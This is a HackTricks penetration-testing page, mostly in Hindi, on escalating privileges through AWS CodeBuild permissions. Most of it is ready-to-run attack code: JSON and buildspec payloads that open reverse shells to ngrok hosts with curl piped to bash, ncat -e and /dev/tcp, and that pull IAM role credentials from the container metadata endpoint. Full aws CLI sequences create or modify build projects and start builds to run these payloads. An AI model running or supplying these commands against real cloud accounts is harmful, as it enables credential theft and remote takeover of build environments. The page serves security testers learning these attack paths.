AWS - Codebuild Privesc

HackTricks को समर्थन दें

codebuild

अधिक जानकारी प्राप्त करें:

AWS - Codebuild Enum

iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

एक हमलावर जिसके पास iam:PassRole, codebuild:CreateProject, और codebuild:StartBuild या codebuild:StartBuildBatch अनुमतियाँ हैं, वह किसी भी codebuild IAM भूमिका को चलाकर विशेषाधिकार बढ़ा सकता है

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"


REV_PATH="/tmp/rev.json"

printf "$JSON" > $REV_PATH

# Create project
aws codebuild create-project --cli-input-json file://$REV_PATH

# Build it
aws codebuild start-build --project-name codebuild-demo-project

# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output

# Delete the project
aws codebuild delete-project --name codebuild-demo-project

संभावित प्रभाव: किसी भी AWS Codebuild भूमिका के लिए सीधे privesc।

एक Codebuild कंटेनर में फ़ाइल /codebuild/output/tmp/env.sh में सभी env vars होते हैं जो metadata credentials तक पहुंचने के लिए आवश्यक होते हैं।

इस फ़ाइल में env variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI होता है जिसमें credentials तक पहुंचने के लिए URL path होता है। यह कुछ इस तरह होगा /v2/credentials/2817702c-efcf-4485-9730-8e54303ec420

इसे URL http://169.254.170.2/ में जोड़ें और आप भूमिका credentials को dump कर सकेंगे।

इसके अलावा, इसमें env variable ECS_CONTAINER_METADATA_URI भी होता है जिसमें कंटेनर के बारे में metadata जानकारी प्राप्त करने के लिए पूरा URL होता है।

iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

पिछले अनुभाग की तरह, यदि आप एक build project बनाने के बजाय इसे संशोधित कर सकते हैं, तो आप IAM Role को निर्दिष्ट कर सकते हैं और token चुरा सकते हैं।

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"

printf "$JSON" > $REV_PATH

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

संभावित प्रभाव: किसी भी AWS Codebuild भूमिका के लिए सीधे privesc।

codebuild:StartBuild | codebuild:StartBuildBatch

इनमें से केवल एक अनुमति के साथ, एक नए buildspec के साथ एक build को ट्रिगर करना और प्रोजेक्ट को असाइन की गई iam भूमिका का टोकन चुराना पर्याप्त है:

cat > /tmp/builspec.yml <<EOF
version: 0.2

phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF

aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/builspec.yml

संभावित प्रभाव: संलग्न AWS Codebuild भूमिकाओं के लिए प्रत्यक्ष privesc।

codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

पिछले अनुभाग की तरह लेकिन iam:PassRole अनुमति के बिना, आप इन अनुमतियों का दुरुपयोग करके मौजूदा Codebuild परियोजनाओं को संशोधित कर सकते हैं और उन भूमिकाओं तक पहुंच सकते हैं जो पहले से ही उन्हें सौंपे गए हैं

REV_PATH="/tmp/codebuild_pwn.json"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"codebuild_lab_3_project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n  fast-fail: false\\\\n  build-list:\\\\n    - identifier: build1\\\\n      env:\\\\n        variables:\\\\n          BUILD_ID: build1\\\\n      buildspec: |\\\\n        version: 0.2\\\\n        env:\\\\n          shell: sh\\\\n        phases:\\\\n          build:\\\\n            commands:\\\\n              - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n      ignore-failure: true\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

printf "$JSON" > $REV_PATH

# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build-batch --project-name codebuild-demo-project

संभावित प्रभाव: संलग्न AWS Codebuild भूमिकाओं के लिए प्रत्यक्ष privesc।

SSM

SSM सत्र शुरू करने के लिए पर्याप्त अनुमतियाँ होने पर एक Codebuild प्रोजेक्ट के अंदर जाना संभव है।

Codebuild प्रोजेक्ट में एक ब्रेकपॉइंट होना चाहिए:

phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
      - codebuild-breakpoint

और फिर:

aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>

अधिक जानकारी के लिए डॉक्स देखें

(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject

एक हमलावर जो एक विशिष्ट CodeBuild प्रोजेक्ट का निर्माण शुरू/पुनः शुरू करने में सक्षम है, जो अपना buildspec.yml फ़ाइल एक ऐसे S3 बकेट में संग्रहीत करता है जिसमें हमलावर को लिखने की अनुमति है, CodeBuild प्रक्रिया में कमांड निष्पादन प्राप्त कर सकता है।

नोट: यह वृद्धि केवल तभी प्रासंगिक है जब CodeBuild वर्कर की भूमिका हमलावर की भूमिका से अलग हो, और उम्मीद है कि अधिक विशेषाधिकार प्राप्त हो।

aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./

vim ./buildspec.yml

# Add the following lines in the "phases > pre_builds > commands" section
#
#    - apt-get install nmap -y
#    - ncat <IP> <PORT> -e /bin/sh

aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml

aws codebuild start-build --project-name <project-name>

# Wait for the reverse shell :)

आप इस तरह की builspec का उपयोग करके एक reverse shell प्राप्त कर सकते हैं:

buildspec.yml
version: 0.2

phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1

Impact: AWS CodeBuild worker द्वारा उपयोग किए गए role के लिए सीधा privesc जो आमतौर पर उच्च privileges रखता है।

ध्यान दें कि buildspec को zip प्रारूप में अपेक्षित किया जा सकता है, इसलिए एक attacker को root directory से buildspec.yml को डाउनलोड, unzip, संशोधित, फिर से zip और अपलोड करना होगा।

अधिक विवरण यहां पाया जा सकता है।

Potential Impact: संलग्न AWS Codebuild roles के लिए सीधा privesc।

HackTricks को समर्थन दें

Last updated